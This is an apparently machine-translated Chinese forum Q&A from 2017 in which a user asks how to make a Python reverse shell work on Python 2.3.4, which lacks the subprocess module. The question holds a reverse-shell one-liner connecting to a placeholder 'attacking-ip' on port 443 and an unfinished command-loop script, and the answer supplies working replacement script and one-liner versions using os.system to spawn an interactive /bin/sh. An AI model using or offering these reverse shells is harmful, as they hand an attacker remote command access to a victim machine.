2017-02-26 92 views
1

我正在测试一台安装了Python 2.3.4的机器。没有子进程的Python反向shell

使用这一个班轮:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

是:

import socket,subprocess,os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"]) 

我得到这个错误:

Traceback (most recent call last): File "", line 1, in ? ImportError: No module named subprocess

我现在正在创建一个脚本,以提供反向连接。我的问题/问题是,如果有可能通过导入子流程来实现这一点?

我有这个迄今为止

#!/usr/bin/python 

import socket 
import os 

HOST = '' 
PORT = '' 

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET 

conn.connect((HOST, PORT)) #CONNECT 

while 1: #LOOP 
    ls = os.system('ls') # test with ls 
#^ Need to add the ability to use any system command 
command_send = conn.send(ls) #RECEIVE COMMAND 
    #EXECUTE COMMAND 

这个回路永远没有想出如何与接收到的数据停止循环,并保持脚本活着。

回答

1

subprocess模块是在Python 2.4中引入的。


You can use os.system instead of subprocess.call

import socket, os 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(("attacking-ip", 443)) 
os.dup2(s.fileno(), 0) 
os.dup2(s.fileno(), 1) 
os.dup2(s.fileno(), 2) 
os.system("/bin/sh -i") 

python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")' 
+0

谢谢!我会试试这个。即使这不起作用,这也回答了我的问题。 –

相关问题